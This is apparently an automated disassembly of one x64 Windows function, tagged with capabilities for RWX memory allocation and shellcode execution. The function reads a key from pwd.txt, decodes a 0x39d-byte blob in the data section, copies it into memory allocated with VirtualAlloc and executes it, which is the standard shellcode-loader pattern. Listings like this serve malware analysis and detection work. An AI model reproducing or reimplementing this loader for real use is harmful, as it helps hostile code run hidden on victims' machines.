Function at 0x140006640
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x248
mov dword [rsp + 0x48], 3
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x100]
call fcn.140001094
mov rcx, rax
call fcn.140002fc0
lea rdx, str.pwd.txt
lea rcx, [rsp + 0xe0]
call fcn.1400034f4
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x130]
call fcn.140003278
nop
lea rcx, [rsp + 0x130]
call fcn.1400052a0
movzx eax, al
test eax, eax
jne 0x14000671b
lea rdx, [0x140008530]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400011e4
lea rdx, [rsp + 0xe0]
mov rcx, rax
call fcn.1400011a0
lea rdx, [0x140002c74]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x4c], 1
lea rcx, [rsp + 0x130]
call fcn.140003ecc
nop
lea rcx, [rsp + 0xe0]
call fcn.140003b5c
mov eax, dword [rsp + 0x4c]
jmp 0x140006a4e
lea rcx, [rsp + 0xa8]
call fcn.140003618
nop
lea rcx, [rsp + 0xc0]
call fcn.140003544
nop
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x130]
call fcn.140002ee8
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14000678f
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0xa8]
call fcn.140005b2c
jmp 0x140006737
lea rcx, [rsp + 0x130]
call fcn.14000506c
lea rdx, [0x140008540]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400011e4
lea rdx, [0x140002c74]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.14000236c
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x60]
call fcn.140004ea0
mov qword [rsp + 0x88], rax
jmp 0x1400067fd
mov rax, qword [rsp + 0x30]
add rax, 0x20
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x88]
cmp qword [rsp + 0x30], rax
je 0x14000683f
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400011a0
lea rdx, [0x140002c74]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400067ef
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x108]
call fcn.14000348c
nop
lea rcx, [rsp + 0x108]
call fcn.140004f94
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x108]
call fcn.1400052d8
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
inc rax
mov rcx, rax
call fcn.140006b0c
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
lea rax, [rax + rcx + 1]
mov r8, qword [rsp + 0x38]
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.140002ae4
lea rdx, [0x140008550]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400011e4
mov rdx, qword [rsp + 0x38]
mov rcx, rax
call fcn.14000153c
lea rdx, [0x140002c74]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x78], 0x39d
mov rcx, qword [rsp + 0x38]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov qword [rsp + 0xa0], rax
mov r9, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x38]
lea rcx, section..data
call fcn.1400062c4
lea rdx, [0x140008570]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400011e4
mov qword [rsp + 0x40], 0
jmp 0x140006953
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x40], rax
jae 0x1400069a7
lea rax, section..data
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rax + rcx]
mov dword [rsp + 0x50], eax
lea rdx, [0x14000857c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400011e4
lea rdx, [0x14000521c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov ecx, dword [rsp + 0x50]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x140006946
lea rdx, [0x140002c74]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x39e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x80], rax
mov r8d, 0x39e
lea rdx, section..data
mov rcx, qword [rsp + 0x80]
call sub.VCRUNTIME140.dll_memcpy
call qword [rsp + 0x80]
mov dword [rsp + 0x54], 0
lea rcx, [rsp + 0x108]
call fcn.140003b5c
nop
lea rcx, [rsp + 0xc0]
call fcn.140003b5c
nop
lea rcx, [rsp + 0xa8]
call fcn.140003bbc
nop
lea rcx, [rsp + 0x130]
call fcn.140003ecc
nop
lea rcx, [rsp + 0xe0]
call fcn.140003b5c
mov eax, dword [rsp + 0x54]
add rsp, 0x248
ret